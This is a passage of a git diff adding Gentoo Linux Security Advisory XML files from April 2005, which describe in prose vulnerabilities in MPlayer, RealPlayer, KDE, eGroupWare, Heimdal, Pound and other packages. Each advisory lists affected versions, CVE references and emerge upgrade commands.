+    All Mozilla Suite binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-bin-1.7.7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.mozilla.org/projects/security/known-vulnerabilities.html">Mozilla Security Advisories</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0989">CAN-2005-0989</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1153">CVE-2005-1153</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1154">CVE-2005-1154</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1155">CVE-2005-1155</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1156">CVE-2005-1156</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1159">CVE-2005-1159</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1160">CVE-2005-1160</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 18 Apr 2005 08:55:50 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 19 Apr 2005 05:17:09 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-19.xml b/xml/htdocs/security/en/glsa/glsa-200504-19.xml
new file mode 100644
index 00000000..c0ec32c4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-19.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-19">
+  <title>MPlayer: Two heap overflow vulnerabilities</title>
+  <synopsis>
+    Two vulnerabilities have been found in MPlayer which could lead to the
+    remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">MPlayer</product>
+  <announced>April 20, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>89277</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/mplayer" auto="yes" arch="*">
+      <unaffected range="ge">1.0_pre6-r4</unaffected>
+      <vulnerable range="lt">1.0_pre6-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MPlayer is a media player capable of handling multiple multimedia file
+    formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    Heap overflows have been found in the code handling RealMedia RTSP and
+    Microsoft Media Services streams over TCP (MMST).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By setting up a malicious server and enticing a user to use its
+    streaming data, a remote attacker could possibly execute arbitrary code
+    on the client computer with the permissions of the user running
+    MPlayer.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MPlayer users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/mplayer-1.0_pre6-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.mplayerhq.hu/homepage/design7/news.html#vuln10">MPlayer News: Real RTSP heap overflow</uri>
+    <uri link="http://www.mplayerhq.hu/homepage/design7/news.html#vuln11">MPlayer News: MMST heap overflow</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1195">CVE-2005-1195</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 16 Apr 2005 16:59:51 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 18 Apr 2005 09:17:55 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 19 Apr 2005 07:28:03 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-20.xml b/xml/htdocs/security/en/glsa/glsa-200504-20.xml
new file mode 100644
index 00000000..9f870828
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-20.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-20">
+  <title>openMosixview: Insecure temporary file creation</title>
+  <synopsis>
+    openMosixview and the openMosixcollector daemon are vulnerable to symlink
+    attacks, potentially allowing a local user to overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">openMosixview</product>
+  <announced>April 21, 2005</announced>
+  <revised>April 21, 2005: 01</revised>
+  <bug>86686</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-cluster/openmosixview" auto="yes" arch="*">
+      <unaffected range="ge">1.5-r1</unaffected>
+      <vulnerable range="lt">1.5-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The openMosixview package contains several tools used to manage
+    openMosix clusters, including openMosixview (the main monitoring and
+    administration application) and openMosixcollector (a daemon collecting
+    cluster and node information).
+    </p>
+  </background>
+  <description>
+    <p>
+    Gangstuck and Psirac from Rexotec discovered that openMosixview
+    insecurely creates several temporary files with predictable filenames.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary
+    files directory, pointing to a valid file somewhere on the filesystem.
+    When openMosixView or the openMosixcollector daemon runs, this would
+    result in the file being overwritten with the rights of the user
+    running the utility, which could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All openMosixview users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-cluster/openmosixview-1.5-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0894">CAN-2005-0894</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 20 Apr 2005 11:45:51 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 20 Apr 2005 11:46:46 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-21.xml b/xml/htdocs/security/en/glsa/glsa-200504-21.xml
new file mode 100644
index 00000000..ab90f871
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-21.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-21">
+  <title>RealPlayer, Helix Player: Buffer overflow vulnerability</title>
+  <synopsis>
+    RealPlayer and Helix Player are vulnerable to a buffer overflow that could
+    lead to remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">RealPlayer</product>
+  <announced>April 22, 2005</announced>
+  <revised>April 22, 2005: 01</revised>
+  <bug>89862</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/realplayer" auto="yes" arch="*">
+      <unaffected range="ge">10.0.4</unaffected>
+      <vulnerable range="lt">10.0.4</vulnerable>
+    </package>
+    <package name="media-video/helixplayer" auto="yes" arch="*">
+      <unaffected range="ge">1.0.4</unaffected>
+      <vulnerable range="lt">1.0.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    RealPlayer is a multimedia player capable of handling multiple
+    multimedia file formats. Helix Player is the Open Source version of
+    RealPlayer.
+    </p>
+  </background>
+  <description>
+    <p>
+    Piotr Bania has discovered a buffer overflow vulnerability in
+    RealPlayer and Helix Player when processing malicious RAM files.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to play a specially crafted RAM file an
+    attacker could execute arbitrary code with the permissions of the user
+    running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All RealPlayer users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/realplayer-10.0.4&quot;</code>
+    <p>
+    All Helix Player users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/helixplayer-1.0.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0755">CAN-2005-0755</uri>
+    <uri link="http://service.real.com/help/faq/security/050419_player/EN/">RealNetworks Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 21 Apr 2005 08:25:50 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 21 Apr 2005 21:28:38 +0000">
+    formula7
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 22 Apr 2005 07:59:29 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-22.xml b/xml/htdocs/security/en/glsa/glsa-200504-22.xml
new file mode 100644
index 00000000..8055fbff
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-22.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-22">
+  <title>KDE kimgio: PCX handling buffer overflow</title>
+  <synopsis>
+    KDE fails to properly validate input when handling PCX images, potentially
+    resulting in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">KDE</product>
+  <announced>April 22, 2005</announced>
+  <revised>April 22, 2005: 01</revised>
+  <bug>88862</bug>
+  <access>remote</access>
+  <affected>
+    <package name="kde-base/kdelibs" auto="yes" arch="*">
+      <unaffected range="rge">3.2.3-r9</unaffected>
+      <unaffected range="ge">3.3.2-r8</unaffected>
+      <vulnerable range="lt">3.3.2-r8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KDE is a feature-rich graphical desktop environment for Linux and
+    Unix-like Operating Systems. kimgio is the KDE image handler provided
+    by kdelibs.
+    </p>
+  </background>
+  <description>
+    <p>
+    kimgio fails to properly validate input when handling PCX files.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to load a specially-crafted PCX image in a KDE
+    application, an attacker could execute arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All kdelibs users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose kde-base/kdelibs</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1046">CAN-2005-1046</uri>
+    <uri link="http://www.kde.org/info/security/advisory-20050421-1.txt">KDE Security Advisory: kimgio input validation errors</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 22 Apr 2005 06:44:43 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 22 Apr 2005 11:51:44 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-23.xml b/xml/htdocs/security/en/glsa/glsa-200504-23.xml
new file mode 100644
index 00000000..51eb660f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-23.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-23">
+  <title>Kommander: Insecure remote script execution</title>
+  <synopsis>
+    Kommander executes remote scripts without confirmation, potentially
+    resulting in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">Kommander</product>
+  <announced>April 22, 2005</announced>
+  <revised>May 20, 2005: 02</revised>
+  <bug>89092</bug>
+  <access>remote</access>
+  <affected>
+    <package name="kde-base/kdewebdev" auto="yes" arch="*">
+      <unaffected range="ge">3.3.2-r2</unaffected>
+      <vulnerable range="lt">3.3.2-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KDE is a feature-rich graphical desktop environment for Linux and
+    Unix-like Operating Systems. Kommander is a visual dialog editor and
+    interpreter for KDE applications, part of the kdewebdev package.
+    </p>
+  </background>
+  <description>
+    <p>
+    Kommander executes data files from possibly untrusted locations without
+    user confirmation.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit this to execute arbitrary code with the
+    permissions of the user running Kommander.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All kdewebdev users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=kde-base/kdewebdev-3.3.2-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0754">CAN-2005-0754</uri>
+    <uri link="http://www.kde.org/info/security/advisory-20050420-1.txt">KDE Security Advisory: Kommander untrusted code execution</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 22 Apr 2005 06:18:02 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 22 Apr 2005 06:48:56 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-24.xml b/xml/htdocs/security/en/glsa/glsa-200504-24.xml
new file mode 100644
index 00000000..7da0ec76
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-24.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-24">
+  <title>eGroupWare: XSS and SQL injection vulnerabilities</title>
+  <synopsis>
+    eGroupWare is affected by several SQL injection and cross-site scripting
+    (XSS) vulnerabilities.
+  </synopsis>
+  <product type="ebuild">eGroupWare</product>
+  <announced>April 25, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>89517</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/egroupware" auto="yes" arch="*">
+      <unaffected range="ge">1.0.0.007</unaffected>
+      <vulnerable range="lt">1.0.0.007</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    eGroupWare is a suite of web-based group applications including
+    calendar, address book, messenger and email.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple SQL injection and cross-site scripting vulnerabilities have
+    been found in several eGroupWare modules.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could possibly use the SQL injection vulnerabilites to gain
+    information from the database. Furthermore the cross-site scripting
+    issues give an attacker the ability to inject and execute malicious
+    script code or to steal cookie based authentication credentials,
+    potentially compromising the victim's browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All eGroupWare users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/egroupware-1.0.0.007&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gulftech.org/?node=research&amp;article_id=00069-04202005">GulfTech Security Research Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1202">CVE-2005-1202</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1203">CVE-2005-1203</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 23 Apr 2005 09:15:46 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 24 Apr 2005 18:41:06 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 25 Apr 2005 09:36:49 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-25.xml b/xml/htdocs/security/en/glsa/glsa-200504-25.xml
new file mode 100644
index 00000000..201341b2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-25.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-25">
+  <title>Rootkit Hunter: Insecure temporary file creation</title>
+  <synopsis>
+    Rootkit Hunter is vulnerable to symlink attacks, potentially allowing a
+    local user to overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">rkhunter</product>
+  <announced>April 26, 2005</announced>
+  <revised>April 26, 2005: 01</revised>
+  <bug>90007</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-forensics/rkhunter" auto="yes" arch="*">
+      <unaffected range="ge">1.2.3-r1</unaffected>
+      <vulnerable range="lt">1.2.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Rootkit Hunter is a scanning tool to detect rootkits, backdoors
+    and local exploits on a local machine. Rootkit Hunter uses downloaded
+    data files to check file integrity. These files are updated via the
+    check_update.sh script.
+    </p>
+  </background>
+  <description>
+    <p>
+    Sune Kloppenborg Jeppesen and Tavis Ormandy of the Gentoo Linux
+    Security Team have reported that the check_update.sh script and the
+    main rkhunter script insecurely creates several temporary files with
+    predictable filenames.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary
+    files directory, pointing to a valid file somewhere on the filesystem.
+    When rkhunter or the check_update.sh script runs, this would result in
+    the file being overwritten with the rights of the user running the
+    utility, which could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Rootkit Hunter users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-forensics/rkhunter-1.2.3-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1270">CAN-2005-1270</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 26 Apr 2005 06:10:01 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 26 Apr 2005 18:37:38 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-26.xml b/xml/htdocs/security/en/glsa/glsa-200504-26.xml
new file mode 100644
index 00000000..02a24ed0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-26.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-26">
+  <title>Convert-UUlib: Buffer overflow</title>
+  <synopsis>
+    A buffer overflow has been reported in Convert-UUlib, potentially resulting
+    in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">Convert-UUlib</product>
+  <announced>April 26, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>89501</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-perl/Convert-UUlib" auto="yes" arch="*">
+      <unaffected range="ge">1.051</unaffected>
+      <vulnerable range="lt">1.051</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Convert-UUlib provides a Perl interface to the uulib library, allowing
+    Perl applications to access data encoded in a variety of formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    A vulnerability has been reported in Convert-UUlib where a malformed
+    parameter can be provided by an attacker allowing a read operation to
+    overflow a buffer. The vendor credits Mark Martinec and Robert Lewis
+    with the discovery.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Successful exploitation would permit an attacker to run arbitrary code
+    with the privileges of the user running the Perl application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Convert-UUlib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-perl/Convert-UUlib-1.051&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1349">CVE-2005-1349</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 19 Apr 2005 16:17:03 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 21 Apr 2005 08:24:58 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 25 Apr 2005 20:37:01 +0000">
+    taviso
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-27.xml b/xml/htdocs/security/en/glsa/glsa-200504-27.xml
new file mode 100644
index 00000000..0c0df02d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-27.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-27">
+  <title>xine-lib: Two heap overflow vulnerabilities</title>
+  <synopsis>
+    Two vulnerabilities have been found in xine-lib which could lead to the
+    remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">xine-lib</product>
+  <announced>April 26, 2005</announced>
+  <revised>April 26, 2005: 01</revised>
+  <bug>89976</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/xine-lib" auto="yes" arch="*">
+      <unaffected range="ge">1.0-r2</unaffected>
+      <unaffected range="rge">1_rc6-r2</unaffected>
+      <vulnerable range="lt">1.0-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    xine-lib is a multimedia library which can be utilized to create
+    multimedia frontends.
+    </p>
+  </background>
+  <description>
+    <p>
+    Heap overflows have been found in the code handling RealMedia RTSP
+    and Microsoft Media Services streams over TCP (MMST).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By setting up a malicious server and enticing a user to use its
+    streaming data, a remote attacker could possibly execute arbitrary code
+    on the client computer with the permissions of the user running any
+    multimedia frontend making use of the xine-lib library.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All xine-lib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose media-libs/xine-lib</code>
+  </resolution>
+  <references>
+    <uri link="http://xinehq.de/index.php/security/XSA-2004-8">Xine Advisory XSA-2004-8</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 22 Apr 2005 08:22:32 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 26 Apr 2005 20:44:06 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-28.xml b/xml/htdocs/security/en/glsa/glsa-200504-28.xml
new file mode 100644
index 00000000..dd83edfc
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-28.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-28">
+  <title>Heimdal: Buffer overflow vulnerabilities</title>
+  <synopsis>
+    Buffer overflow vulnerabilities have been found in the telnet client in
+    Heimdal which could lead to execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">Heimdal</product>
+  <announced>April 28, 2005</announced>
+  <revised>April 28, 2005: 01</revised>
+  <bug>89861</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-crypt/heimdal" auto="yes" arch="*">
+      <unaffected range="ge">0.6.4</unaffected>
+      <vulnerable range="lt">0.6.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Heimdal is a free implementation of Kerberos 5 that includes a
+    telnet client program.
+    </p>
+  </background>
+  <description>
+    <p>
+    Buffer overflow vulnerabilities in the slc_add_reply() and
+    env_opt_add() functions have been discovered by Gael Delalleau in the
+    telnet client in Heimdal.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Successful exploitation would require a vulnerable user to connect
+    to an attacker-controlled host using the telnet client, potentially
+    executing arbitrary code with the permissions of the user running the
+    application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Heimdal users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-crypt/heimdal-0.6.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0468">CAN-2005-0468</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0469">CAN-2005-0469</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 26 Apr 2005 20:42:17 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 27 Apr 2005 00:18:43 +0000">
+    formula7
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 28 Apr 2005 08:35:57 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-29.xml b/xml/htdocs/security/en/glsa/glsa-200504-29.xml
new file mode 100644
index 00000000..64f7a615
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-29.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-29">
+  <title>Pound: Buffer overflow vulnerability</title>
+  <synopsis>
+    Pound is vulnerable to a buffer overflow that could lead to the remote
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">Pound</product>
+  <announced>April 30, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>90851</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/pound" auto="yes" arch="*">
+      <unaffected range="ge">1.8.3</unaffected>
+      <vulnerable range="lt">1.8.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Pound is a reverse proxy, load balancer and HTTPS front-end.
+    </p>
+  </background>
+  <description>
+    <p>
+    Steven Van Acker has discovered a buffer overflow vulnerability in the
+    "add_port()" function in Pound.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send a request for an overly long hostname
+    parameter, which could lead to the remote execution of arbitrary code
+    with the rights of the Pound daemon process (by default, Gentoo uses
+    the "nobody" user to run the Pound daemon).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Pound users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-servers/pound-1.8.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.apsis.ch/pound/pound_list/archive/2005/2005-04/1114516112000">Original announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1391">CVE-2005-1391</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 29 Apr 2005 17:01:33 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 29 Apr 2005 20:39:56 +0000">
+    formula7
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 30 Apr 2005 08:11:33 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-30.xml b/xml/htdocs/security/en/glsa/glsa-200504-30.xml
new file mode 100644
index 00000000..c6f68102
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-30.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
